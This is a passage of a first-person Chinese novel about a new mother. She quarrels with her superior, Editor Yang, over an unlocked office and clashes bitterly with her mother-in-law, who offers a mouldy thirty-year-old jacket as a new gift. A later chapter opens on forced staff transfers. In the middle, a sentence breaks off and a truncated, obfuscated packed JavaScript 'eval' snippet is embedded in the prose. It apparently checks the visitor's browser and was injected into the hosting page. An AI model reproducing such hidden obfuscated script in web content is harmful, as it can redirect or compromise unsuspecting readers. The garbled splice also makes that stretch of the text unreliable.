我说:“完了,宝宝以为爸爸妈妈在打架。”我赶紧慌里慌张地光着屁股起来去抱宝宝,端午也赶紧把我放了,呆呆地看着我去抱宝宝,像看着一个从日本兵那里挣脱的女人一样。我们的一次产后夫妻生活就这样慌里慌张地开始和结束了。 端午是个清清爽爽的好男人,他心里嘴里从来没有说过什么过头的话,几个月的小婴儿竟然让他害羞地像个小男孩。这以后,或许是因为我们上班都忙,或许是因为有宝宝在,我们一连几个月都没有兴趣。端午都是自己老老实实地睡觉。我天天围着孩子团团转,天天很累很忙很烦。而且,自从生完孩子以后,出于对图腾的生殖崇拜和一个生完孩子的母亲的庄严,我对那事儿有点羞耻感了。 这种羞耻感,估计端午心里也有。说到底,我们两个都不是很放纵私欲的人,都是很为孩子考虑的人。端午从来没有那些奸猾刁蛮,口蜜腹剑,但是那些腻腻歪歪纠纠缠缠有时候又是两口子所必需的。没了那些,两个人之间太干净了,感情也就淡而无味了。两个人身体上有了距离,心理上的距离也就随着拉开了。我不知道端午是什么样的想法。反正我对端午就是这样。所以我对他越来越失望,越来越厌烦。 3 我跟杨编辑吵架了 这一年的十月,我又想到了我的旧业,我未完成的关于荆堂的那些文字,我每次晚上值班的时候,就在办公室里想着,写着。越写越觉得有意思,越写越觉得有意义。我的文字就像秋天的菜种子,一个个伸着嫩红的芽孢,举着嫩白的小胳膊,从秋天的黄土地里破土而出。是的,我的心里有了我自己的一亩三分地。那是我的自留地,我就是这块地的主人,没有人来指手画脚颐指气使,没有人来指指点点吆三喝四,没有人需要我去点头哈腰强颜欢笑。 在这块土地上,我是主人,不是孙子。这块地给了我新鲜的泥土的香气,让我在这充满权势味儿和铜臭味儿,口臭味儿和臭屁味儿的,庸俗的男男女女的世界里,可以有一方天地,让我自由呼吸。这块地我越种越着迷,它让我看透了很多,想通了很多,看淡了很多,它让我对人世间的任何锻炼和枷锁都不是那么在意和执着。我感谢我的这块自留地,是它的出现,让我救赎了我自己。否则,成日价面对枯燥的工作,苦恼的夫妻关系和苦闷的婆媳关系,我拿什么来活下去。 我不知道我是不是产后抑郁了。有一阵子,我看到有关小孩子的不幸的新闻就哭。 半夜,我刷完奶瓶,坐在马桶上,看着手机里的郑仁的新闻,无声地大哭!心痛!心痛!戳心!戳心!我把眼泪流给沉寂的夜,我把心酸流给惨死的小小鬼! 白天,开会了,孙部长在台上讲地滔滔不绝,唾沫乱飞,我低头看着手机,看着被虐的小郑仁,眼泪止不住地流下来。 “郑仁,小宝贝!孩子!快跑!” 我坐不住,我的心魂在嘶叫:“我想回家,让我回家!我要回家看看我的宝宝!” 郝跃临时有事出门,总是不爱带钥匙。等大家都下班回家了,她还在群里喊:“谁把门儿锁上了啊?我没带钥匙!曹编辑,你走了没有?” 曹编辑回复说:“我正准备回家,在大门口儿呢。我把钥匙放在门卫。” “好的,谢谢曹编辑了。” 阿杨在群里说:“大家下班以后都回家了,你下次记得把钥匙带上。” 说实话,我很害怕郝跃这样的,我怕哪天,我都回家了,她又没带钥匙,像是冤魂一样追着我要钥匙,我还得黑天半夜地从家里跑过来给她开门。 一天,我下班以后,发现办公室里已经没人了。可是,办公室里还亮着灯,我不知道还有没有人没有走,会不会有人在我走了以后又跳出来要钥匙,我就没有锁门儿。 第二天早上,我切了胡萝卜、青菜,给宝宝拌了几勺米粉,老太太喂给宝宝吃。 宝宝吃饭的时候不老实,老太太说:“狐狸精来了!狐狸精来了!你看!做怪梦的!” 我说:“她一个小女孩儿,你不要说她狐狸精!狐狸精的!你眼睛小,你才像狐狸!端午也像个狐狸!我们眼睛那么大,我们怎么是狐狸了!陆陆不上班,在家里做隐蔽青年,你牙缝儿里没说过他一句坏话。你还吹牛,说有四个女人等他。你对你自己亲生的可会说了。宝宝这么小,你动不动坏词儿多的!” 她立马矢口否认说:“我没说她狐狸精,我说的胡萝卜!” “你刚才就是说的‘狐狸精’!你说过的话反口就不承认!”我说。 “哎呀!宝宝拉屎了!臭臭的,我闻到了。幸好妈妈在!”我说。 “我来擦,你赶紧去打水!”我跟老太太说。 我抱着宝宝,老太太打了温水,我来帮宝宝擦屁股。 忙完孩子,我匆匆忙忙到了办公室。我站着收拾桌上的文稿,准备开始一天的工作。 阿杨进来了,她看到我,没好气地跟我说:“你昨天走的时候没锁门啊?” 我说:“我看办公室的灯还亮着,我怕还有人没走,就没有锁门儿。” 阿杨编瓮声瓮气地说:“怎么能不锁门儿的?不锁门儿你在群里说一下啊!曹编辑的两万块钱还在抽屉里呢!” 我说:“我不知道。” 她气恼地说:“不锁门儿,要是曹编辑的钱被人偷走了,怎么办?” 曹编辑听到了杨编辑的话,像是真地丢了两万块钱一样,沉着脸,闷声不吭地走出去了。 倒不是我不想承认自己的错误,是我看阿杨憋了一肚子的火冲我来了,本就来者不善。而且,毕竟没有丢东西。毕竟没有发生什么事儿。 我知道我跟她打内心里就不对付,她是憋足了火力对我来的。我在家里忙孩子忙地也是心情不好。我到了单位只想赶紧忙工作,根本无心跟她争执。她说我两句我也就认了。可是她抓住我不放。我的性格也是吃软不吃硬的。我硬气起来,也是丝毫不服气。 我说:“我不知道啊?谁知道那时候还有没有人啊?” 阿杨还是死死地咬住我不放。 她火气十足地问我:“你不能在群里问一下啊?” 我说:“我就是问了,也可能有人一时看不到信息啊。所以我没敢锁门儿啊。” 阿杨火儿起来了,她愤怒地说:“曹编辑抽屉里放着两万块钱呢!” 我说:“我哪知道!平时办公室里也没什么贵重的东西。” 阿杨火气更大了,她说:“曹编辑的两万块钱要是丢了,怎么办?” 我说:“我不知道啊。他就是抽屉里放着摇钱树我也不知道!” 阿杨看我跟她顶了起来,更加放开她的火箭,朝着我嘶吼着她的中气不足、有些嘶哑的嗓子说:“你不锁门儿,你还有理了?你不锁门儿你还有理了?说说你还不行了?” 我也放大声音中气十足地说:“我不是不知道吗?不是没丢东西吗?你怎么那么大的火的?你是不是又没睡好觉,又要把起床气都撒到我身上了?我一大早又要忙孩子又想忙工作,我想跟你吵吗?如果换作别人,你还会这么火吗?你不就是看我不顺眼吗?我不是一直跟孙子似的受你的压制吗?要杀要剐随你的便!” 孙部长从我们办公室前头路过,他应该听到了一点声音,不过,他没有过来看。 其实,那一刻,我已经快绷不住了。再往下吵,我就会把杨编辑欺负我,不想让我上班的委屈全都哭着倒出来。 杨编辑看见了孙部长,她也意识到在更高级别的领导跟前吵架,对她的个人形象不利。她的火气立刻消了。我也跟着立刻消了。 郝跃进来了,她看到我在气呼呼地跟杨编辑吵架。我的嗓门儿居然还那么大!钱编辑也进来了。她看到我胆敢跟杨编辑吵架! “走!上厕所去!”阿杨说,她气呼呼地走了出去。她们都气呼呼地走了出去。只剩我一个人在办公室里。 我的眼泪一下子冲了出来。我无声地哭着。我哭不是因为我没有锁门儿,人家说我。我哭,是因为,就是因为我没有锁门儿,她才会这样变本加厉地说我。明明是她步步紧逼,我退无可退,才跟她吵的,可是那些人,全都向着她,全都恨我冒犯了凤威,全都说我的不对。 我的眼泪掉成了一行行线,我擦眼泪的纸巾叠成了一堆。我想着我的乳儿,哭地更加伤心了。 曹编辑进来了,他的座位在我身后,隔着钱编辑一个座位,我听见他稀里哗啦地在拿什么文件的声音,他拿了一打什么文件,又气呼呼地出去了。我知道我不能这样哭下去。我还要工作。 我拿起杯子去东边的走廊接水。我接好水以后向西往办公室里走去。 钱编辑从我对面走了过来,她靠着栏杆,用班主任处理问题学生一样的神情歪着头质问我说:“你怎么跟杨编辑吵架的?” 我说:“我哪里想跟她吵架?是她没完没了,抓住我不放!是她一直欺负我,我都被她压制死了!” 钱编辑没有想到我这么直接,这么不委婉,这么不配合她的节奏,这么不识抬举,居然在她跟前也不肯低头。居然一语道破了事情的本质。 是的,她质问我为什么跟杨编辑吵架。是的,我不该跟杨编辑吵架,我怎么有胆跟杨编辑吵架?我跟杨编辑吵架本身就是罪该万死的。杨编辑再怎么冲我发她的因为更年期的,因为小肚鸡肠太多,而常常睡不好觉的无明业火,我都得乖乖地听着,忍着,受着。这就是规矩!这就是职场潜规则!下级低级低等员工,胆敢跟上级高等上等领导对着吵架,这本身就是大逆不道罪无可赦。说什么平等!我们什么时候平等过? 我就是知道我们不平等啊,我从一开始就知道我们不平等啊。所以我那么恭敬那么小心翼翼地尊称杨编辑为杨老师啊。可是她又要卖弄她的高品格,又要卖弄她的矫揉造作和永远年轻,她非用她的淫威逼迫着我叫她阿杨!搞得我跟她是同辈很平等一样!我早就知道我跟她不平等,这个阿杨我喊不起啊!她始终高高在上,我始终低低在下。我不仅低低在下,我还得配合她的矫情死的矫情来貌似很平等的叫她阿杨。既然是平等的,为什么我不能反驳,既然是平等的,为什么只能她跟我发火,我不能跟她发火?平等是建立在她骄横地凌虐我,我卑微地忍受她的基础之上的吗?原来我们是不平等的啊?那她干嘛让我叫她阿杨?我早就应该称呼她为杨太后的! 钱编辑愣了一下说:“我们在平时的工作中,不都是忍气吞声的嘛?领导对我们不都是这样的吗?” 我说:“她对你这样吗?如果是你没有锁门儿,她会这样吗?她就会欺负我们这些没资格的。” 钱编辑听了我的话,反而没词儿了。她抬了抬她那张粉白的脸,眨巴了几下眼睛。 “她毕竟是领导。你这样当众跟她吵,影响很不好的。”她说。 我说:“我想跟她吵吗?我忙孩子忙地一塌糊涂,刚从家里赶过来。我还要忙工作,我哪有功夫跟她吵。是她上来就对我发火的。我不知道是不是她昨天又没有睡好觉,她逮住机会把火气朝我身上撒。” 钱编辑听了我的话又眨了眨眼睛。 我说:“钱编辑,你怎么老是眨眼睛的?” 她说:“我眼睛散光,不敢见阳光,一遇到阳光就刺眼。” 我说:“那得配个眼镜了。” 她说:“我配了抗紫外线的眼镜,花了一千多块呢。” 我说:“怪不得我看你的眼镜里有蓝光呢。原来你这是高级眼镜啊。” 钱编辑说:“其实,都是因为郝跃经常不带钥匙,大家都害怕了。所以不敢锁门儿。” 我说:“是的啊,我真害怕我锁门以后,她又追着我让我回来给她开门儿。我半夜三更地又得忙孩子,又得跑过来给她开门儿。” 钱编辑说:“我看得出来,你这个人蛮正直的。但是正直的人往往让人觉得很讨厌。”她说着笑了。 我也笑了,我说:“你说的很对。正直的人是很讨厌。” 43. 婆婆拿了三十年前的旧棉袄给宝宝 周末,我买了牛肉,让人家卖肉的给切薄了,又买了金针菇,泡椒,米线,回家让端午的妈妈烧菜。 我说:“上次从‘祥和私房菜’点的酸汤肥牛,味道酸溜溜的,我吃了还想吃。我们自己做一个山寨版的酸汤肥牛。” 端午的妈妈愉快地答应了,并且自信地施展她的厨艺。 晚上,等酸汤肥牛端上来,我才发现,那米线被切地碎碎的,比炒菜时切过的韭菜段还要短。像是哪个男人的胡子。 我说:“妈呀,米线儿怎么切地那么短呢?跟胡子似的。” 端午赶紧打圆场说:“能吃就行。” 我跟端午的妈妈说:“上次酸汤肥牛你不是吃过吗?怎么切地那么短。这个就跟粉条面条一样,肯定不能切地那么短啊。” 端午的妈妈笑笑说:“我以为要切切呢。”我也不好说什么。大家就用勺子挖着米线吃起来。那几天我特别想吃酸菜和米线。 第二天,我就又买了鱼片、酸菜,还有料包、米线,让端午的妈妈烧一下。 “妈,今天烧个酸菜鱼。鱼都片好了。配料也买好了。你下锅煮一下就行了。这回,你可不要再把米线切碎了。” “好的好的!”她说。 中午,等我回家吃饭,我发现,那酸菜鱼里的米线又被切地碎碎的,跟胡子茬一样稀碎。我的脑子像是被闷雷劈过一样,惊地有些发蒙,不敢相信。我不是生气,只觉得不可思议。 我对着一大盆稀碎的米线发呆:“怎么办,这个菜这个样子,端午晚上回来也不能吃啊。我不是跟你说了,米线不要切碎吗?” 端午的妈妈又支支吾吾地说:“我以为要切碎来。” 后来,我跟端午说:“以后你把生活费给我,我去买菜做饭。不要你妈买菜了。” 端午说:“让她买吧,你要上班。辛苦的。” 我说:“我上班也可以买菜,我怀着孕不也是自己推着自行车买菜的吗?你妈妈来陪产的时候也就是帮我拎拎菜。” 端午说:“我妈妈买菜,省钱。” 我说:“我不要她给我省钱。她唯一的荤菜就是猪肉、鲫鱼。买一次猪肉吃好几天。从来舍不得买熟菜。我一点都吃不好。我想吃酸汤肥牛,想吃酸菜鱼了,我还得自己再去买。那索性全由我自己来买好了。我宁愿多花钱,那我也吃地高兴。再说了,你妈妈烧菜也不好吃。米线老是要切碎。我跟她说了,她还是切地碎碎地,都把我给雷死了整懵了。金针菇烧豆腐,原汁原味,白白的,我一点都吃不下去。这样反而是浪费食材。她还自诩自己会烧饭。” 端午说:“我妈妈去买菜,每个月还补贴的。” 我说:“她每天只烧一顿,荤菜只有猪肉、鲫鱼,一天根本花不了六十块钱,每个月两千块钱足够了,根本不需要她补贴。不信,你可以把你妈妈的手机拿过来,把账目都算清楚。每个月她补贴了几百,我全都算给她。她别耽一个补贴儿子儿媳的好名声。我不需要她补贴。” 端午说:“算了!算了!哪有那功夫算账。” 我说:“凡事用事实说话。不能他们老两口说补贴就是补贴了。再说了,她带着孩子烧饭,根本看不好孩子,我还心疼宝宝呢。我不能为了我自己吃口饭就让宝宝受委屈。你妈一心一意地帮我带孩子就行,买菜做饭做家务我自己会做。我唯一需要她的地方就是带孩子。” 端午说:“行的!行的!” 我说:“对了。以后,你自己的衣服自己洗,自己的鞋子自己刷。我以后不再给你刷鞋子,你也不要让你妈给你刷。你妈是来照顾宝宝的,不是来照顾你的。你都不管孩子,那你就管好你自己。我上班回来带孩子做家务已经很累了。你不要再给我增加负担。你听到了吗?你不要好吃懒做的。我以前大着肚子还给你刷鞋,我累地腰疼,你还在那儿打游戏!” 端午说:“行的!行的!” 秋天了,天气渐渐变凉。我给宝宝精挑细选了很多衣裳。根据天气凉热,层层递进,各种厚度的都有。每样天气的衣服都准备了五六件。宝宝爱吐奶,拉尿也会弄脏衣服。我给她准备了充足的换洗的衣服,我自己呢,除了她百天的时候,我自己买了一件蓝色的裙子,一直没舍得买件新衣服。我一心一意照顾宝宝,也没那心情。 端午晚上回来说:“车子坏了,要去修车。我今天打车回来的。” 我问:“修车要多少钱?” 他说:“要六千。” 我说:“怎么那么贵?” 他说:“发动机坏了。修发动机肯定贵。” 我说:“你不是说你父母补贴你吗?你现在怎么不问他们要钱了?只问我要!以后不要让你父母吹牛,明明不补贴儿子,还非说自己补贴儿子。” “宝宝都八九个月了,她全身上下,小帽子小围巾,小袜子,全是我一手打理的。你妈妈就不能给她孙女买件衣服吗?她给她孙女买件衣服,也让我也感受一下你家的温暖呀。没有!一毛不拔!你妈妈给宝宝买件衣服,我也可以给她买件衣服啊。一家子其乐融融,和和美美地,不好吗?她不!她不给宝宝买!她也不让我给她买。她跟我们分地清清楚楚地!她跟我们界限分明!我一点都不喜欢这样!我宁肯多花点钱,我也高兴!我跟她一起,天天被她分裂地难受!你妈特别擅长搞分裂。” 第二天,端午回来了,他“咚咚咚”地敲门,他妈妈去给他开门。 我问他:“你没带钥匙啊?” “钥匙没拿,放在人家那里了,我自己留了一个电梯卡。”他说。 我一下子又来气了:“你脑子是不是有问题啊,你能留电梯卡,不能留钥匙啊!你钥匙放在人家那里干什么?你给我们带来多大的安全隐患?!” “谁要你的钥匙啊!”端午无所谓地说。 “你把钥匙放在人家那里,万一人家去配一把怎么办?”我真地又急又气。我不好跟他说。我在网上看的很多血案,都是凶手入室作案的。我不好跟他说。我已经没办法跟他说这些了。他的脑子不装这些的。 “谁会配你的钥匙?无聊!”端午不可思议地说。 我胆子小。从小,我妈妈就教育我,小心没有过裕的。何况,不怕一万就怕万一。有了孩子以后,我胆子变得更小了。可是,我没有跟他说这些。我说不进他的心,他也听不进。你跟一个彻底不通情理的人是讲不出什么道理来的。就像对着一头牛,你即使有话也说不出来了。我剩下的只有着急只有气了。 我说:“对牛弹琴!我跟你没什么好说的!我要换锁。”不久,我就把锁给换了。 冬天到了,老太太自己穿着红鞋子红毛衣,红的耀眼,但是从来没舍得给孩子买一分钱的衣物或者玩具。我心里挺憋闷的。 11月的那个星期六,她从老家休息回来了。她回来了,掏出来一件小棉袄递给我。 “哟!小棉袄啊!”我欣喜地说。 “我买的。”她一如往常地温柔地说。那件小棉袄看起来有些老旧,不新展。但是既然是她买的,既然是她在孩子八个月的时候亲手买的,我也就满足了。人家婆婆给宝宝买东买西,我没那福气。她只要还有一点点人心一丝丝人味儿,还知道给宝宝买件衣服,让我感受到她还是个有温和气的人,让我感受到她对宝宝还有一丝一毫的人味儿,我就心满意足了。 我跟宝宝说:“奶奶给你买的衣衣,你喜欢吗?妈妈去给你洗洗啊。”我去把衣服洗上,十五分钟快洗,很快洗好了,我拿出来晾晒。 我晾衣服的时候,发现衣服外头有不少长长的脱落的白色的线头,我就觉得不对劲。新买的衣服怎么脱了那么多线。 我闻一闻,那棉袄上一股子霉味儿。新买的棉袄怎么有霉味? 看看那扣子,还是八十年代我小时候见过的老式纽扣。 我再翻开内里一看。内衬的那些布有些老旧褶皱了,内衬上也有很多线头。 我提起衣领,往后领子上一看。那后领子前的白色标签上,赫然用蓝色的圆珠笔写着“上海时新服装厂”,是件旧衣服! 而且是一件几十年前的很旧很旧的衣服! 老太太给宝宝拿来的棉袄是几十年前的旧衣服! 我把旧棉袄放在床上,拿出手机拍了几张照片。他们做事就这样,不留下证据,他们死不承认的。拍完照片,我就去喊她! 她一听到我喊她,她知道被我看出来了。她的腿开始哆嗦了。 我说:“这件衣服怎么回事!你拿旧衣服来骗我!你在哪个垃圾堆里捡来坑害我孩子的?” 她开始撒谎:“人家给我的!” 我说:“谁给你的!你不是说你买的吗?” 她说:“你爸爸当采购,我留下的!” 我说:“你留下来的?怎么一股子霉味儿,怎么脱线了?你到底是在哪里捡来的?你拿来骗我?” 她说:“这衣服三十年了,你爸爸开厂,我拿的钱给他开厂,就当是我买的!”她各种撒谎。 我说:“你以前说过,你家开厂做的是纸杯子!你家现在还有那种纸杯子!你家是两个男孩,这件棉袄是女孩儿的衣服!你三十年前留下来干什么?你从哪个垃圾堆里捡来的!” 她说:“我那时候就想要个女孩!” 我说:“这件衣服是七八岁的大孩子穿的!你还在撒谎!你不知道是在哪个垃圾堆里捡的!你闻闻,你自己闻闻,一股子霉味儿!你拿来给你孙女穿啊!你故意来害你亲孙子啊?” 我当时来了大姨妈,手里抱着孩子,气地发抖:“你还有人性吗?你连你亲孙子都能骗啊!你从来没给孩子买过衣服,你故意拿垃圾桶里捡来的三十年前的旧衣服来骗我,来骗你亲孙子啊!” “我拿给你,你要不要是你的事!”老太婆眯缝着小眼儿说。 我说:“你挣开眼睛看看你孙子!这件衣服是给你亲孙子穿的!你连你亲孙子都骗,你还有没有一点人性啊!” “早知道我就把它扔了烧了,不拿给你!”老太婆愤愤地说。我简直被她气到无话可说。 我说:“你早就该扔了烧了,你还有人性吗,你能来骗你亲孙子!你是她奶奶啊?你还配做她奶奶吗?她应该给你叫阿姨!啊?这位大姐,你怎么拿三十年前发霉的旧衣服来骗我跟我孩子的?” 老太太把手机打开,给老头子打电话。 “你看看,你看看!”她对老头子说。 我说:“我怎么了?你坑蒙拐骗把人活活气死!你还说我没有风度?你把老头子叫来吓唬我是吗?你干了缺德事儿你都不怕丢脸,我怕什么。你把手机打开正好。我正要说说你有多缺德!” 我冲着手机就喊:“你为什么拿三十年前的旧衣服来骗我啊!你拿一百年前的衣服来,你说实话,我不烦!你为什么来骗我,说是你新买的!你心有多黑!你脸皮多厚!你还怪我生气啊!我孩子有多娇贵你不知道?我给她买了多少新衣服你不知道?你连一双袜子都舍不得给你亲孙子买!你为了应付差事,你拿三十年前发霉的旧衣服来骗我!” 老头子在绝对真理面前还是清楚的。他不吭声了。 老头子在电话里跟老太太说:“你拿那件衣服给她干什么?我说你不要带,你非要带。” 老太太奸猾地笑了一下:“嘿嘿!我以为能穿来!” 我冲着她说:“人以信为本。人无信不立。一个人如果天天撒谎她还是人吗?你不知道撒谎会被别人鄙视吗?我要是没心没肺的,早被你忽悠了。你看着我把你发霉的破衣服给我孩子穿了,还得感谢你。你得多高兴啊!你太猥琐了!” “匹诺曹!撒谎精!不要脸!”我气地打着自己的脸说。 她波澜不惊地看着我,一脸地风轻云淡!她无所谓! “阿弥陀佛!”她朝我作揖说。 我说:“你还阿弥陀佛?你满嘴的阿弥陀佛,一肚子阴谋诡计!你这样的撒谎精,佛祖知道吗?佛祖会知道的,他会惩罚你的!你别跟我这里装模作样的。我知道你的真面目!” 她这人就这样,做了缺德事儿,说了缺德话,人家跟她吵跟她闹,她东拉西扯,说着各种谎话,只要她自己觉得她在骗人就行了,只要她觉得她骗了人就行了。即使别人没有被她骗到,她也自认为,那也是她聪明地骗了一次人,她也觉得那是她赚了。至于别人信不信,至于撒谎带来的别人对她的鄙视和不信任,至于她在别人心目中作为一个撒谎精,还有没有脸面,对她来说,那是根本就无所谓的,她不仅不羞愧,还非常得意。对她来说,重点是她耍了心眼儿撒了谎,施展了骗术,那就是她的成功了。 人家被她气地越狠,她越是得意。重点是别人被她气到了。至于她干的什么缺德事儿、说的什么缺德话,这些话、这些事儿说出去有多丢人,她是压根儿不在乎的。 我是看透了。她这人是铁打的筋骨,她的躯壳早就不受良心的谴责、道德的约束了。她可以随心所欲地说坏话、干坏事,她可以一点都不羞愧!人家再怎么指责,她压根儿就没感觉!她不仅没感觉,还自鸣得意! 我说:“我来着大姨妈,被你气得发抖!你本事大,你老奸巨猾,天天气我。我产后抑郁,年轻气盛。你把我气疯,你无动于衷!厉害!这才叫本事!我长这么大,没见过这样儿皮厚心黑的!你不是天天气我吗?你看我生气你很高兴是吗?好!我也故意气你!我要看看你到底还有没有自尊心。你到底会不会生气!” “龅牙!老龅牙!相由心生!青面獠牙!你拿垃圾桶里捡来的,三十年前的旧衣服,来骗你亲孙子啊!”我气得一次次呼喊她沉睡的灵魂。 “啊——啊——”她嘶哑地干吼着。 她头一回成功地被我气了一次。 我说:“你终于知道生气了?你知道我来了大姨妈被你气地发抖是什么滋味儿吗?原来把别人惹生气是那么快乐的事?怪不得,我天天被你气地发抖发疯,你还那么高兴。我第一次尝到了你的快乐!”我对着她说。 可是这快乐是在我在例假期间被她气地发抖以后!她已日薄西山,可是我的孩子太小,我的担子太重。我知道跟她耗,我耗不起,我没工夫跟她斗。可是我常常被她做的事炸晕。我气地发抖,而她,是事儿没有。轮心态,我绝对不是她的对手! 端午回来了,我把旧衣服拿去给他,我说:“你闻闻!” “哎呀!一股子霉味儿!拿走!拿走!我去扔了!”端午说。 “不扔!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我说:“家庭?她拿三十年前的旧棉袄来骗她亲孙子的时候,她想过家庭和睦吗?她自以为她骗术高明,我就看不出她的阴谋诡计了?可惜,她每次撒谎都犯在我的手里,都被我给揭穿了识破了!我想闹吗?我想天天被这种奇葩的人气地腿抽筋吗?我遇到这种人,为了孩子,躲不开她,我还要跟她在一起住着,谁知道我的痛苦啊?” “九个月,不明白为什么她不能亲手给她孙女买件衣服。哪怕你今天买了,明天我再给你买呢。哪怕是明天我再换一种方式把钱给你呢。有爱的奶奶给孙子准备件小衣服是自然而然的事,没有爱的冷血的奶奶,想让她亲手给孙子买一件小衣服,简直比登天还要难。我从她来陪产到产后,就这样活活抑郁了九个月。” 这九个月的抑郁、崩溃,导致我们的婆媳关系早就糟透了。 是的。我的婆婆,太没有人味儿了。我不是故意诋毁,你能感觉到这个人低气压,别人是立体的,是鲜明的,是有明确的饱满的灵魂的。而她不是,她站在那里,像是灵魂少了一脉,好像是她的气息还没有被激活,没有生气,没有活气。你只看到一个木木的人杵在那里,你感受不到她的活气。你遇到过这种人吗?你知道那种痛苦吗?你像是看镜子里的一个人,像是看墙上画里的一个人。你知道遇到这种人你有多抓狂吗?她看起来是好的,但她也是无声息无气息的。 我一开始并不明白是怎么回事。她刚来陪产的时候,就大力赞扬她的儿子不爱说话。 “陆陆不爱说话!他什么都不说!”她骄傲地说。她把自己儿子遗传自己的缺点当成优点来夸。她不知道,她的儿子要是爱说话就好了,就不会那么与世隔绝不问世事了。她的缺点害了自己的儿子,她还骄傲地夸。 陆陆不爱说话,老太太居然对他大力称赞。以前,我只觉得她儿子抑郁自闭是突发情况。现在我才知道,陆陆不爱说话原来是遗传。是她自己有问题。没有人告诉我。端午不知道,端午自己情商就低,几乎跟她一样。端午的爸爸也不会告诉我。我从不明白她为什么胡说八道,为什么逻辑这么奇怪,到经过漫长的时间的体验,慢慢顿悟了解,需要多长的时间,需要多久的煎熬。谁知道我的郁闷,我的不幸。 我被她气地两腿发抖,全身仿佛不是我的。我知道跟她讲道理没用,对于这种极度抠门又热爱撒谎的人来说,唯一的办法是跟她讲清楚厉害。 我说:“你要是再骗我,我就拿这件衣服去你们小区楼下,我让别人看看,你孙子九个月了,你没给她买过一丝布,你居然拿三十年前的发霉的旧衣服来骗你孙子。我就在你们楼下问问你,你怎么不能给你孙子买件衣服啊!” 这一招果然有效。 12月的一个星期天,圣诞节刚过,她回来了。这一次,她头一回给宝宝买了崭新的棉袄、棉裤,廉价的硬壳的鞋子。 圣诞老人显灵了! 宝宝九个月了,我硬是逼着老太太给她孙子买了一件衣服! 是的,我强逼着我婆婆给她孙子买了件衣服! 是的,老太太给她孙子买的头一件衣服,是我逼的! 奶奶被逼无奈,头一回给宝宝买了衣服。 我真地满足了,感动了。跟人家疼儿孙的奶奶比,我家的奶奶还有天理吗? 我说:“人家说宝宝穿老人买的衣服好的,我就想为宝宝要一份奶奶的疼爱。” 这一章,我就叫做婆.罗.门吧。 “婆”字当然是指婆婆,本章主要是写婆婆的。 “罗”字是指儿媳与婆婆之间总是罗织着说不清的是是非非恩恩怨怨,这说不清道不明断不了的官司,一不小心又让人堕入痛苦的深渊,很多妇女会因为婆媳关系而抑郁,或是抑郁而死,或是直接间接地死在婆婆或是婆婆所生的儿子的手里,使得婚姻或是婆媳关系有一些让人望而生畏的气息,所以又借用了一些“罗生门”的味道在里头。 “门”字本身就有些不祥的味道,很多伟人、名人,因为某“门”而陷入万劫不复的地步,从而使这个“门”字有些“地狱之门”的况味。 同时,婆罗门是印度教里至高无上的种姓,这又暗合了婆婆所处的至高无上的地位。尤其是在暗无天日的封建社会,一个家庭里,婆婆的地位若是比作婆罗门,那么媳妇的地位就是吠舍或是首陀罗。 在现代社会,也有“老的无过天无过”一说。小辈、儿媳与婆婆叫板,总是有些大逆不道的。 光是一个“老”字,或是“老人”的身份,就足够让评判公允的道德彻底没了是非。 而在这样险象环生的婆媳关系里头,还能够完好无损,或是内心受了伤,哪怕已经被震碎,但是外表依然能够看起来完好无损的女人,真可谓闯过了一“关”一“门”,那胜利不亚于重生,真是一件值得庆祝的事情。 这对于做媳妇的来说,“婆.罗.门”又有些“凯旋门”的意味。 “婆罗门”三字,是我在偶然的一个瞬间想到的一念,初觉不妥,后经过自己的一番牵强伏会的解说,真觉得妥之又妥。于是,这本来就有些琐碎的一章,因为这一个名字而让我觉得豁然开朗,内心觉得足以为贺。 44. 7月2号上午9:53分 褶皱是立于草丛里头的一块石头,它本是天地混成的胎,却被好事者给挖出来,中间不知道倒了几回行家里手,最后被人家当做商品给卖了过来。呶,它现在就跟我一样独自杵在那儿。它很漂亮,它被挤压了千万年,千万遍,它被挤压地像一块千层蛋糕一样,流油,流黄,于是它就拥有了层层叠叠的好看的容颜。它对着我看,我对着它看。我经受过它所经受的挤压,褶皱爬上了我的脸,我没有它那么好看的容颜,却有着跟它一样耐压的身板儿。 我也是受了伤了,我的脸被人家啪啪地打,我的灵魂和内心被揍得青一块紫一块,那淤青很快变绿,那发紫的流下血来。但是我的凝血功能非常好,很快,我的那些红色的血液就凝结了起来。一道道的红色的血溜子像是红色的油彩,跟那些发绿的淤青相映起来,红红绿绿,分外可爱。阳光下,红的绿的开始流光溢彩,有时,竟然现出神圣的金色的光辉来。在这金色的光辉里,我的凡俗的□□仿佛也突然间发了光,我知道,是那些流光溢彩的伤痕成全了我,是它们让我重塑金身了。我的敲打电脑的手指噼里啪啦地响,我的手指上龟裂的口子,血溅在键盘上。那些鲜血在冬日的严寒里很快凝结了,像是红色的油漆一样。 1.奥斯卡小金人儿 因为一项新的政策,黄社长多次给我们开会:“上面说要走人,我也没有办法。不是我黄温勇让你走,是上头让你走。你现在如果是自己提出来要走呢,你还可以有选择,一切都好说。你如果是等着我让你走呢。那你就没有选择了。” 大家听了无不面色阴沉,内心忐忑。走,不是那么简单的事。大家都是在《小坛》工作了十几年甚至几十年的,多少人都在《小坛》附近扎了根,这儿有他们多年的拼搏,有他们的青葱岁月,有他们熟悉的生活居住环境。他们都在《小坛》附近安了家,《小坛》附近不仅有他们熟悉的环境,更有他们的子女家人,有他们一家子的生活,和子女的学业。如今却要他们离开,去到一个遥远的陌生的地方,如果不是升迁,是没有人愿意走的。因为,除了升迁之外的所谓的“交流”,其实无异于贬谪,发配。谁愿意被发配呢?谁不是埋头苦干,为《小坛》奉献了自己的青春这么多年。谁比谁差?大家都沉默着,不说话。 大家都是有脸有皮的人,很多都是三四十岁甚至四五十岁的中老年人,人到中年,安土重迁,谁愿意没有脸,谁愿意被折腾呢? 我身旁的吴悠悠愤愤地说:“走就走呗,我才不怕。不就是逼着我学车吗?顶多把我发配到边远一些的地方呗。少拿点钱呗,那我周末还有休息了呢。切!” 我跟她笑笑:“嘘!别说话!” 她是武汉大学毕业的,组里的人都知道她,很朴素,不爱打扮,打扮了也不时髦,她是学院派的。她爱写论文,资格比我老。给《小坛》奉献了这么多年,她的地位比我牢。有些话,她敢说,我可不敢。 